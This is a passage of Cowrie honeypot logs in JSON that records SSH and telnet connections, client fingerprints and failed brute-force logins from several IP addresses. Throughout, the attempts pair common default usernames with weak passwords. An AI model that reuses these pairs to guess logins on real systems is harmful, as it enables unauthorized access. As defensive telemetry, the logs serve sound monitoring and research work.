om","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:01.610353Z","src_ip":"91.92.42.227","session":"0ce0bc5f996f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45804,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e3f350788e4","protocol":"ssh","message":"New connection: 45.156.87.147:45804 (10.17.0.5:22) [session: 8e3f350788e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:02.693467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:02.769552Z","src_ip":"45.156.87.147","session":"8e3f350788e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:02.806322Z","src_ip":"45.156.87.147","session":"8e3f350788e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:03.101872Z","src_ip":"45.156.87.147","session":"8e3f350788e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1234","message":"login attempt [pi/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:03.380204Z","src_ip":"91.92.42.227","session":"0ce0bc5f996f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:04.190397Z","src_ip":"45.156.87.147","session":"8e3f350788e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:04.971909Z","src_ip":"91.92.42.227","session":"0ce0bc5f996f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":47850,"dst_ip":"159.203.135.109","dst_port":22,"session":"22949c4ae94b","protocol":"ssh","message":"New connection: 103.252.123.105:47850 (159.203.135.109:22) [session: 22949c4ae94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:06.625025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:06.628664Z","src_ip":"103.252.123.105","session":"22949c4ae94b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:06.854266Z","src_ip":"103.252.123.105","session":"22949c4ae94b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"magazines","password":"123456","message":"login attempt [magazines/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:07.784684Z","src_ip":"103.252.123.105","session":"22949c4ae94b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50494,"dst_ip":"10.17.0.5","dst_port":22,"session":"591f20bc042a","protocol":"ssh","message":"New connection: 91.92.42.227:50494 (10.17.0.5:22) [session: 591f20bc042a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:07.795646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:08.381334Z","src_ip":"91.92.42.227","session":"591f20bc042a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:08.384475Z","src_ip":"91.92.42.227","session":"591f20bc042a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45816,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c43359d360e","protocol":"ssh","message":"New connection: 45.156.87.147:45816 (10.17.0.5:22) [session: 6c43359d360e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:08.503659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:08.508085Z","src_ip":"45.156.87.147","session":"6c43359d360e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:08.588984Z","src_ip":"45.156.87.147","session":"6c43359d360e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:08.836629Z","src_ip":"45.156.87.147","session":"6c43359d360e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:09.012514Z","src_ip":"103.252.123.105","session":"22949c4ae94b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:09.922378Z","src_ip":"45.156.87.147","session":"6c43359d360e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":46360,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fd8e2f10d1b","protocol":"telnet","message":"New connection: 94.23.66.112:46360 (10.17.0.5:23) [session: 8fd8e2f10d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:10.196534Z"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:11.692366Z","src_ip":"91.92.42.227","session":"591f20bc042a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:13.345594Z","src_ip":"91.92.42.227","session":"591f20bc042a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49604,"dst_ip":"10.17.0.5","dst_port":22,"session":"1611512bcdb0","protocol":"ssh","message":"New connection: 45.156.87.147:49604 (10.17.0.5:22) [session: 1611512bcdb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:14.195304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:14.198980Z","src_ip":"45.156.87.147","session":"1611512bcdb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:14.279490Z","src_ip":"45.156.87.147","session":"1611512bcdb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:14.528744Z","src_ip":"45.156.87.147","session":"1611512bcdb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38000,"dst_ip":"10.17.0.5","dst_port":22,"session":"026cba67ecc7","protocol":"ssh","message":"New connection: 91.92.42.227:38000 (10.17.0.5:22) [session: 026cba67ecc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:14.713658Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:15.613152Z","src_ip":"45.156.87.147","session":"1611512bcdb0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:15.663426Z","src_ip":"91.92.42.227","session":"026cba67ecc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:15.673039Z","src_ip":"91.92.42.227","session":"026cba67ecc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":43650,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f39926ce68b","protocol":"ssh","message":"New connection: 178.20.210.208:43650 (159.203.135.109:22) [session: 8f39926ce68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:16.247533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:16.770985Z","src_ip":"178.20.210.208","session":"8f39926ce68b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:16.774170Z","src_ip":"178.20.210.208","session":"8f39926ce68b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234567890","message":"login attempt [user/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:17.202035Z","src_ip":"178.20.210.208","session":"8f39926ce68b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:18.303705Z","src_ip":"178.20.210.208","session":"8f39926ce68b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"Passw0rd","message":"login attempt [support/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:18.618762Z","src_ip":"91.92.42.227","session":"026cba67ecc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40280,"dst_ip":"10.17.0.5","dst_port":22,"session":"4820951fc1ff","protocol":"ssh","message":"New connection: 45.156.87.147:40280 (10.17.0.5:22) [session: 4820951fc1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:20.000320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:20.003853Z","src_ip":"45.156.87.147","session":"4820951fc1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:20.066888Z","src_ip":"91.92.42.227","session":"026cba67ecc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:20.087835Z","src_ip":"45.156.87.147","session":"4820951fc1ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:20.335801Z","src_ip":"45.156.87.147","session":"4820951fc1ff","protocol":"ssh"}
